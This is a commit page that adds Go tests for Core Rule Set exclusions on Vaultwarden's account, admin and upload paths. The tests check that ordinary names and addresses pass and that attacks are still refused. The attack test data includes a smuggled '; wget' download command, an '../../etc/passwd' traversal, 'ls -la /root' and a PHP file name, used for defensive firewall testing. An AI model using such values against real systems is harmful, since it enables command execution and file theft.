Core Rule Set: Vaultwarden's ordinary requests pass by default (closes #239)
check / check (push) Failing after 3m1s
check / check (push) Failing after 3m1s
Adds vaultwarden.conf, the thirteenth change, with rule ids 900150 to 900153. On Vaultwarden's account, organization and admin paths, names and password hints skip 930120, 932120, 932250 and 932260, and so does a security key's name. Email addresses skip 930120, 932120 and 932260 there, on the two-factor email paths and when signing in with another device. So does the address of the admin page's test email. The data breach report's address does too. The encrypted names of uploaded attachments and file sends skip 920120. Requests recorded from Vaultwarden 1.37.5 through the web vault, the Bitwarden command line client and the admin page pass at the defaults and while bodies are read. Model: opus-5-5
This commit was merged in pull request #274.
This commit is contained in:
1 parent
183a6072d5
commit
2d83961900
7 files changed
+703
-34
No files matched your search
@@ -0,0 +1,322 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const vaultwardenThreshold = 5
|
||||
|
||||
// Paths of Vaultwarden's API and admin page.
|
||||
const (
|
||||
vaultwardenOrganization = "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b"
|
||||
vaultwardenCipher = "/api/ciphers/f81eb6e1-8210-4e15-8b9b-6ff70f7edc7d"
|
||||
vaultwardenSignUp = "/identity/accounts/register/send-verification-email"
|
||||
vaultwardenFinishSignUp = "/identity/accounts/register/finish"
|
||||
vaultwardenPassword = "/api/accounts/password"
|
||||
vaultwardenProfile = "/api/accounts/profile"
|
||||
vaultwardenSettings = "/admin/config"
|
||||
vaultwardenSecurityKey = "/api/two-factor/webauthn"
|
||||
)
|
||||
|
||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
// request that sends it, and its body, with VALUE where the field's value
|
||||
// goes.
|
||||
type vaultwardenField struct {
|
||||
method, target, contentType, body string
|
||||
}
|
||||
|
||||
// with returns f's body holding value, escaped as f's kind of body escapes
|
||||
// it.
|
||||
func (f vaultwardenField) with(t *testing.T, value string) string {
|
||||
t.Helper()
|
||||
|
||||
escaped := url.QueryEscape(value)
|
||||
|
||||
if f.contentType == jsonBody {
|
||||
quoted, err := json.Marshal(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
escaped = strings.Trim(string(quoted), `"`)
|
||||
}
|
||||
|
||||
return strings.ReplaceAll(f.body, "VALUE", escaped)
|
||||
}
|
||||
|
||||
// vaultwardenNameFields hold every field that skips 930120, 932120, 932250
|
||||
// and 932260: the names and the password hints.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenNameFields = []vaultwardenField{
|
||||
{
|
||||
http.MethodPost, vaultwardenSignUp, jsonBody,
|
||||
`{"email":"alice@example.com","name":"VALUE"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, "/api/organizations", jsonBody,
|
||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||
}
|
||||
|
||||
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||
// 932120 and 932260: the email addresses.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAddressFields = []vaultwardenField{
|
||||
{
|
||||
http.MethodPost, "/identity/connect/token", formData,
|
||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||
},
|
||||
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"masterPasswordAuthentication":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||
`{"masterPasswordUnlock":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
||||
{
|
||||
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||
},
|
||||
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||
`{"email":"VALUE","type":0}`,
|
||||
},
|
||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
||||
{
|
||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||
},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
||||
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
||||
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
||||
{
|
||||
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||
`{"email":"VALUE","token":"123456"}`,
|
||||
},
|
||||
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
||||
}
|
||||
|
||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||
// in the query, ending in "=".
|
||||
const vaultwardenBreachReport = "/api/hibp/breach?username="
|
||||
|
||||
// vaultwardenAddresses are the addresses 930120, 932120 and 932260 refused.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAddresses = []string{
|
||||
"jane.profile@example.com",
|
||||
"python3.dev@example.com",
|
||||
"powershell@example.com",
|
||||
}
|
||||
|
||||
// wantVaultwardenField checks that the Core Rule Set, reading bodies,
|
||||
// refuses f holding value, or lets it through.
|
||||
func wantVaultwardenField(
|
||||
t *testing.T, f vaultwardenField, value string, refused bool,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
r := request{f.method, f.target, []string{f.contentType}}
|
||||
body := f.with(t, value)
|
||||
|
||||
got, _ := inspectBody(t, readingBodies(t), r, body)
|
||||
if refused && got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", f.method, f.target, body, got)
|
||||
}
|
||||
|
||||
if !refused && got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("%s %s %s refused: %+v", f.method, f.target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, encoded := range hardValues {
|
||||
value, _ := url.QueryUnescape(encoded)
|
||||
|
||||
for _, f := range vaultwardenNameFields {
|
||||
wantVaultwardenField(t, f, value, false)
|
||||
}
|
||||
}
|
||||
|
||||
for _, value := range vaultwardenAddresses {
|
||||
for _, f := range vaultwardenAddressFields {
|
||||
wantVaultwardenField(t, f, value, false)
|
||||
}
|
||||
|
||||
target := vaultwardenBreachReport + url.QueryEscape(value)
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("%s refused: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// vaultwardenAttacks are an SQL injection, a script injection, a shell
|
||||
// command and a path traversal.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var vaultwardenAttacks = []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
"; wget http://example.com/x.sh",
|
||||
"../../etc/passwd",
|
||||
}
|
||||
|
||||
func TestVaultwardenAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range vaultwardenAttacks {
|
||||
for _, f := range slices.Concat(vaultwardenNameFields, vaultwardenAddressFields) {
|
||||
wantVaultwardenField(t, f, attack, true)
|
||||
}
|
||||
|
||||
target := vaultwardenBreachReport + url.QueryEscape(attack)
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses a listing of files.
|
||||
for _, f := range vaultwardenAddressFields {
|
||||
wantVaultwardenField(t, f, "ls -la /root", true)
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// A name keeps the rules on vault items and folders, whose names are
|
||||
// encrypted, on two-factor paths other than security keys', off
|
||||
// Vaultwarden's paths, and when the query has a field of the same name.
|
||||
for _, target := range []string{
|
||||
"/api/ciphers",
|
||||
"/api/folders",
|
||||
"/x" + vaultwardenProfile,
|
||||
"/identity/other",
|
||||
"/api/two-factor/authenticator",
|
||||
vaultwardenProfile + "?json.name=python3",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
body := `{"name":"python3"}`
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", target, body, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, refused := range []struct{ target, body string }{
|
||||
{"/admin/other", `{"invitation_org_name":"python3"}`},
|
||||
{vaultwardenProfile, `{"culture":"python3"}`},
|
||||
{"/api/accounts/password-hint?json.email=python3", `{"email":"python3"}`},
|
||||
} {
|
||||
r := request{http.MethodPost, refused.target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, refused.body)
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPost, "/identity/other", []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, "username=python3")
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s username=python3 let through: %+v", r.target, got)
|
||||
}
|
||||
|
||||
target := "/api/hibp/other?username=python3"
|
||||
if got := inspect(t, atDefaults(t), get(target)); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// vaultwardenUpload returns a multipart body that uploads a file named name.
|
||||
func vaultwardenUpload(name string) string {
|
||||
return "--b\r\nContent-Disposition: form-data; name=\"data\"; filename=\"" + name +
|
||||
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||
}
|
||||
|
||||
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
||||
|
||||
for _, target := range []string{
|
||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||
vaultwardenCipher + "/attachment",
|
||||
vaultwardenCipher + "/attachment-admin",
|
||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a/share",
|
||||
"/api/sends/cd9f9460-4654-4101-8c4c-14f06f1e69ae/file/5a087a52eaa5796",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, encrypted); got.Score >= vaultwardenThreshold {
|
||||
t.Errorf("POST %s refused: %+v", target, got)
|
||||
}
|
||||
|
||||
// The names of uploaded files keep the other rules: a path
|
||||
// traversal and a PHP script are still refused.
|
||||
for _, name := range []string{"../../etc/passwd", "x.php"} {
|
||||
got, _ := inspectBody(t, crs, r, vaultwardenUpload(name))
|
||||
if got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", target, name, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, target := range []string{"/upload", vaultwardenCipher + "/other"} {
|
||||
r := request{http.MethodPost, target, []string{multipart}}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, encrypted); got.Score < vaultwardenThreshold {
|
||||
t.Errorf("POST %s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user